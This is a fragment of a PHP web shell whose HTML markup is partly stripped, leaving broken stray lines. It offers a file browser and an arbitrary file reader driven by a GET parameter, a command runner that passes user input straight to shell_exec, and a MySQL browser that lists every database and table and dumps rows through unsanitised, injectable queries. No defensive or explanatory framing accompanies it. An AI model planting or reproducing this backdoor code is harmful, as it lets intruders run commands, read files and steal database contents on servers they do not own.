">
">
Files and folders:
Failure to open directory [" . $dir . "]";
}
else
{
$count = count($df);
$index = 0;
$cols = 6;
echo $count . " files or directories in current directory
";
echo "
";
for($y=0;$y<$count/$cols;$y++)
{
echo "";
for($i = 0;$i<$cols;$i++)
{
echo "| " . $df[$index] . " | \n";
$index++;
}
echo "
\n";
}
echo "
";
}
?>
" . $_GET['select'] . ":\n";
echo "
";
//readfile($_GET['select']);
$lines = file($_GET['select']);
foreach($lines as $line_num => $line)
{
echo "| " . $line_num . ": | ". htmlspecialchars($line) . " |
\n";
}
echo "
";
echo "
\n";
echo "
Download";
echo "
Execute";
echo "
";
if(isset($_GET['exec']))
{
echo "
";
echo "
Output:";
//$buffer = shell_exec($_GET['select'] . " ". $_GET['exec']);
/*exec($_GET['select']. " ".$_GET['exec'], $buffer = array());
echo "
\n";
foreach($buffer as $b)
echo $b . "\r\n";
echo "\n
\n";*/
echo "
";
echo "
\n>" .$_GET['select'] . " " . $_GET['exec'] ."\r\n" . shell_exec($_GET['select']. " " . $_GET['exec']) . "\n
\n";
echo "
";
}
}
?>
">
SQL Server connect error: " . mysql_error() . "
";
}
else
{
echo "
";
echo "
SQL Server connected.";
$dbs = mysql_list_dbs($conn);
$count = mysql_num_rows($dbs);
echo "
Server has " . $count . " database(s).";
echo "
Databases:\n";
$cols = 4;
$index = 0;
for($i=0;$i<$count/$cols;$i++)
{
echo "";
for($y=0;$y<$cols;$y++)
{
if($index<$count)
{
$row = mysql_fetch_object($dbs);
echo "| [". $row->Database . "] | \n";
$index++;
}
else
echo " | ";
}
echo "
\n";
}
echo "
\n";
if(!empty($_GET['db']))
{
mysql_select_db($_GET['db']);
$tables = mysql_query("SHOW TABLES FROM " . $_GET['db']);
if($tables==FALSE)
{
echo "
SQL Error: " . mysql_error()."
\n";
}
else
{
echo "
";
$count = mysql_num_rows($tables);
echo "Database has " . $count . " table(s).
\n";
echo "Tables:
\n";
$cols = 4;
$index = 0;
for($i=0;$i<$count/$cols;$i++)
{
echo "";
for($y=0;$y<$cols;$y++)
{
if($index<$count)
{
$row = mysql_fetch_row($tables);
echo "| [". $row[0] . "] | \n";
$index++;
}
else
echo " | ";
}
echo "
\n";
}
echo "
\n";
}
if(!empty($_GET['table']))
{
echo "
";
$columns = mysql_query("SHOW COLUMNS FROM " . $_GET['table']);
if(!isset($_GET['rowcount']))
$_GET['rowcount']=25;
$data = mysql_query("SELECT * FROM " . $_GET['table'] . " LIMIT " . $_GET['rowcount']);
if($columns ==FALSE)
{
echo "SQL Error: " . mysql_error() . "
\n";
}
else
{
$count = mysql_num_rows($columns);
echo "Table has " . $count . " column(s).
\n";
echo "Columns:
Row count: ";
echo "CSV";
echo "
";
echo "\n";
echo "";
while($row = mysql_fetch_array($columns))
{
echo "| ".$row[0]." | \n";
}
echo "
";
while($row = mysql_fetch_array($data, MYSQL_NUM))
{
echo "";
foreach($row as $r)
{
echo "| ".$r." | \n";
}
echo "
\n";
}
}
}
}
}
}
}
?>